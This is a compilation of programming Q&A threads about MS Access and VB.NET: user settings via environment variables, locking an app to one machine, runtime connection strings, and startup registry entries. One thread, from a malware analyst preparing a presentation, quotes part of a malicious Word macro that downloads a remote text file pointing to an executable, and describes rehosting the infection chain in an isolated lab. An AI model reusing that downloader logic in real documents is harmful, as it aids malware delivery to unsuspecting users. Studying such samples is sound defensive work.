Managing User Settings - vba

I created a MS Access front end that utilizes specific file locations. I originally created this as a tool for myself to be the only user. Since I sometimes work on it at home, I needed it to be able to detect if I was using it at home or on my work computer because the file locations are different. So, I created a table “tblSettings” and load the settings (based on which computer I’m using) when my Access FE opens.
In a module, I declare:
Public Const conHOME_ENVIRON = "{Me on Home Computer Name}"
Public Const conWORK_ENVIRON = "{Me on Work Computer Name}"
I then set a global string variable when my Startup form loads:
gstrUserComputer = VBA.Environ("USERNAME") & " on " & VBA.Environ("USERDOMAIN")
Throughout my code, I’ll use something like:
If gstrUserComputer = conWORK_ENVIRON then
Do stuff at work
ElseIf gstrUserComputer = conHOME_ENVIRON then
Do stuff at home
Else
Do other stuff
End if
All this works just fine (I know my computer’s names), but now I need to share this front end with other users at work and I don’t know how to manage the other users in my front end (I don't know their computer names). I want to make it so “ANY” user can use this app and set their own settings.
Is there a better way to manage users settings and how should I go about it? Please keep it as simple to understand as possible since I’m a novice at this. Sample code would be a big help.
Thanks in advance for your help. I am using Access for MS 365 if that matters.

You can get the computer name, user logon with this:
dim strcomputerName as string
strComputerName = Environ("computername")
and to get the current windows logon name, you can use:
dim strWindowsUser as string
strWindowsUser = Environ("USERNAME")
So, you don't need nor want to use a "constant", but on startup you can use above to get the name - thus not hard coded.
So either always use some pubic function name, or on startup setup some global variables. Using function names is probably better if you use a accDB. But, if you always send users a compiled accDE, then global variables will never re-set - even with unhandled errors. but, global vars in a accDB? They can and will get re-set for un-handled errors. For this reason, often sending and disribution your code compiled as accDE has advantages.
But, perhaps you don't bother with a constant, and just create two public functions in a standard code module.
say like:
Public Function GetUser() as string
GetUser = Environ("USERNAME")
End function
Public Function GetComputerName as string
GetComputerName = Environ("computername")
End Function
So, now you can use the above two functions anywhere in code.

Related

how to use environ function to avoid other from using my Access DB

I manage an Access DB (accdb) and it contains some information about my company that I don´t want others to access it out of my company´s server.
I thought to use Environ (5)=computername or Environ (12)=path to retrieve some references such as LEN(environ(path)). With this function, I could, for instance, make sure that the accdb file only works if LEN(environ(path))/2+15=55 (the lenght at my company´s server divided by 2 plus 15 = 80/2+15=55 = algorhytm).
So, on opening the db, it should prompt for a number/code. If the user inserts 55 and the filepath = 80, it will open. If filepath=100 (filepath out of my company´s server), must be prompted 100/2+15=65 to open the db.
Unfortunelly, I don't know how to programe it neither I know how to block the use of SHIFT (that breakes the VBA code on opening) because I'm a rookie.
So, if you please, can you help me to solve these huge problems (1. algorhytm using Environ, 2. avoid using SHIFT on opening).
Thanks in advance.
Bruno
Add this code to your startup form. When the form opens it will check for the username and computername, and if both match the form will open.
Private Sub Form_Open(Cancel As Integer)
If Not (Environ("username") = "santosh" And Environ("computername") = "ABC-CAP1-093") Then
Cancel = True
Application.Quit
End If
End Sub
Avoid using shift key - I have already answered see this link

Setting MS Access password at runtime in vb.net designer generated system

I am developing a VB.NET update system for a volunteer organisation’s MS Access database. The database is protected by a password as it contains personal information. I have created the application using the VB designer. I need to be able to code the application so that, if the owner decides to change the MS Access password, they will have no need to come back to me to change the code and rebuild the solution. In other words, I do not want the password to be hard coded in the app.config file or the settings.designer.vb file. My code should not need to know the password as a simple call to one of the Fill functions can test any password entered by the user. My problem is that I have found no way to alter the connection string that is tested in the setttings.designer.vb code whenever the database is accessed. I am using Visual Studio 2017.
I have spent a long time searching the web for answers and have tried various solutions involving the configurationmanager without success. I am new to this area so I would be most grateful if anyone here can help.
Here is my latest attempt which still produces an invalid password error even though the third debug statement suggests that the connection string, including the password, has been correctly set.
Public Sub UpdateConnString(connString As String)
Dim configFileMap As New ExeConfigurationFileMap()
Dim config As Configuration = ConfigurationManager.OpenExeConfiguration(configFileMap.ExeConfigFilename)
Dim connStringName As String = "TestConnectionString"
Debug.Print("0 " + config.ConnectionStrings.ConnectionStrings(connStringName).ConnectionString)
config.ConnectionStrings.ConnectionStrings(connStringName).ConnectionString = connString
Debug.Print("1 " + config.ConnectionStrings.ConnectionStrings(connStringName).ConnectionString)
config.Save(ConfigurationSaveMode.Modified, True)
Debug.Print("2 " + config.ConnectionStrings.ConnectionStrings(connStringName).ConnectionString)
End Sub
Just because a connection string is stored in the config file, you aren't required to use it as it is. You can read in that default value and then edit it before using it, e.g.
Dim builder As New OleDbConnectionStringBuilder(My.Settings.DefaultConnectionString)
builder.DataSource = dataSource
Dim connectionString = builder.ConnectionString
You can add or modify any part of a connection string you want that way at run time.
Thank you for your response. Unfortunately, the code throws a compilation error - "DefaultConnectionString is not a member of My.Settings".
Fortunatley I have now managed to find a working solution:
'My.Settings.Item("TestConnectionString") = connectionString

How do I modify a word macro .response to use a local file instead?

I'm trying to preserve a malicious macro enabled document infection chain for a presentation. Since the URLs tend to die off rather quickly, I've saved all the files locally, and am trying to modify the macro code to use the local files instead of the response objects based on the URLs, and I'm encountering some issues.
The original code looks something like this (I made up some function and variable names that make a little more sense than the obfuscated garbage I've been dealing with, but the names may not be accurate to their functions)
CONT = Module2.OpenURL("http://malicioustextfile.txt")
Public Function OpenURL(URL As String)
Set fileObject = CreateObject("MSXML2.ServerXMLHTTP")
fileObject.Open GET, URL
fileObject.Send ( VariableIcantRembmer )
AAHQJD = ThisDocument.FileProcessFunction(fileObject)
Public Function FileProcessFunction(a As Object)
FileProcessFunction = (a.responsetext)
End Function
And I've modified it to look more like this
CONT = Module2.OpenURL("C:\localfile.txt")
Public Function OpenURL(URL As String)
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileObject = fso.OpenTextFile(URL)
AAHQJD = ThisDocument.FileProcessFunction(fileObject)
Public Function FileProcessFunction(a As Object)
Do Until a.AtEndOfStream
FileProcessFunction = FileProcessFunction + a.readline
Loop
End Function
But this causes an overflow later in the program, and doesn't preserve the newlines of the file. Before I just had it doing FileProcessFunction = a.readline, but that was clearly only returning the last line. I don't know if I need character returns (I think I do), and the FileProcessFunction I'm fairly certain is also used to get an .exe file, which won't work with a.readline, I'm pretty sure. The last time I stepped through it, all it pulled from the local .exe was the MZ header, and nothing else.
How can I process the local file objects in a way that will properly mimic the a.responsetext property on a URL request?
Not sure what you're really looking for...
Public Function FileProcessFunction(a As Object)
FileProcessFunction = a.readall()
End Function
I figured out what the problem was. I'm relatively sure what I was trying to do would have actually worked, but I was pointing the Macro to the .exe file instead of the the text file with the download link for said .exe file. The macro was expecting the text file with a link.
The fix I implemented instead of trying to use the local files, was to use a Remnux VM on the host only network hosting the files with python -m SimpleHTTPServer. Then I'd simply set a breakpoint for when the objects were created, and manipulate the locals to point to the files on my Remnux machine rather than the URIs it was actually coded for. Also, set the link in the text file to the Remnux machine, instead of dropbox. Worked like a charm.

An issue with reading DB when program runs at startup in vb.net

I'm new here and to vb.net and I'm stuck on something that I feel SHOULD be simple to resolve. I setup my program to let the user decide if he or she wants to have the program run at windows start. It actually works fine as it is assigning the registry value to CurrentUser instead of Local Machine because of admin rights needing to be bypassed. However, when I restart my computer the program comes up like normal, but it will not read my access db that is located in the same folder as the program; it tries to read the DB from Windows\System32.
Is there a way to force it to read from the executablepath instead of System32?
Here is my simple code:
Private Sub startup()
If cbStartup.Checked = True Then
My.Computer.Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Microsoft").OpenSubKey("Windows").OpenSubKey("CurrentVersion").OpenSubKey("Run", True).SetValue("CC_List", System.Windows.Forms.Application.ExecutablePath)
ElseIf cbStartup.Checked = False Then
My.Computer.Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Microsoft").OpenSubKey("Windows").OpenSubKey("CurrentVersion").OpenSubKey("Run", True).DeleteValue("CC_List", False)
End If
End Sub
So when the O/S starts your program the Current Directory is %windir%\System32.
You need to either adjust all your existing paths to be explicitly relative to Application.ExecutablePath, or put
My.Computer.FileSystem.CurrentDirectory = My.Application.Info.DirectoryPath
at the start of your program (which is the modern version of ChDir ...).

protecting software to run only on one computer in vb.net

I have developed a small application and now i want to protect it.
I want to run it only on my own computer and i have developed it for myself.
How can i do that?
A. Don't publish it.
B. Hard-code your computer name in the code, and make the first thing the program does to be verifying that System.Environment.MachineName matches it.
You could always check the processor ID or motherboard serial number.
Private Function SystemSerialNumber() As String
' Get the Windows Management Instrumentation object.
Dim wmi As Object = GetObject("WinMgmts:")
' Get the "base boards" (mother boards).
Dim serial_numbers As String = ""
Dim mother_boards As Object = _
wmi.InstancesOf("Win32_BaseBoard")
For Each board As Object In mother_boards
serial_numbers &= ", " & board.SerialNumber
Next board
If serial_numbers.Length > 0 Then serial_numbers = _
serial_numbers.Substring(2)
Return serial_numbers
End Function
Private Function CpuId() As String
Dim computer As String = "."
Dim wmi As Object = GetObject("winmgmts:" & _
"{impersonationLevel=impersonate}!\\" & _
computer & "\root\cimv2")
Dim processors As Object = wmi.ExecQuery("Select * from " & _
"Win32_Processor")
Dim cpu_ids As String = ""
For Each cpu As Object In processors
cpu_ids = cpu_ids & ", " & cpu.ProcessorId
Next cpu
If cpu_ids.Length > 0 Then cpu_ids = _
cpu_ids.Substring(2)
Return cpu_ids
End Function
Was taken from where: http://www.vb-helper.com/howto_net_get_cpu_serial_number_id.html
Here's a question by Jim to convert this for Option Strict.
It really depends on who is the "enemy".
If you wish to protect it from your greedy, non-cracker, friends, then you can simply have the application run only if a certain password is found in the registry (using a cryptographically secure hash function), or use the MachineName as Jay suggested.
But if you're thinking of protecting it from serious "enemies", do notice: It has been mathematically proven that as long as the hardware is insecure, any software running on it is inherently insecure. That means that every piece of software is crackable, any protection mechanism is bypassable (even secured-hardware devices such as Alladin's Finjan USB product key, since the rest of the hardware is insecure).
Since most (if not all) of today's hardware is insecure, you simply cannot get 100% security in a software.
In between, there are lots of security solutions for licensing and copy-protection. It all comes down to who is the enemy and what is the threat.
No matter how hard you try, if someone really want to run it on another computer, they will.
All need to do is reverse engineer your protection to
remove it
play with it
Another option might be to have your program ask the USER a question that has a derived answer. Here's a brain dead example....
Your Program: "What time is it now?"
You Enter: (TheYear + 10 - theDay + 11) Mod 13
In this way its actually ONLY YOU that can run the program instead of it being MACHINE dependent.
I have made things like this in VB DOS.
I either made a non-deletable file that is key to a specific machine with a code inside, and/or read the .pwl files and have several checks, that are only on your machine. The non-editable file is made with extended character sets like char 233 so when a person tries to look at it, it will open a blank copy (edit) (write.ex), so data cannot be read and it cannot be edited moved or deleted.
It needs to be certain characters; I am not sure if every charter between 128 and 255 will work it, some extended characters work to do this some will not, also it can be defeated, but it will keep some people out,
But it can be read or checked in a program environment. Nothing is totally secure, this is some of the things I mess with.
Note: the file will be very hard to delete, maybe make a test directory to test this.
I hope this is OK I am not very good at conveying info to people; I have programmed since 1982.
Another idea ... I wrote a program that cannot be run directly, it is only ran by an external file, so you could add in a password entry section to it and encrypt password so it cannot be read very easily ,I made an executable version of a vb program to test. it writes in to slack space a character so if the program sees that value it will not run, BUT the runner program has a different character, and it changes it to that character ,and the program is designed to only let in if the character is the proper one ,made only by the runner , then when it enters it changes it back so it is not left open , I have made this sorta thing, and it does work, there is always a way to defeat any protection , the goal is to slow them down or discourage them from running or using your program if you do not want them to.I may include examples at a later date.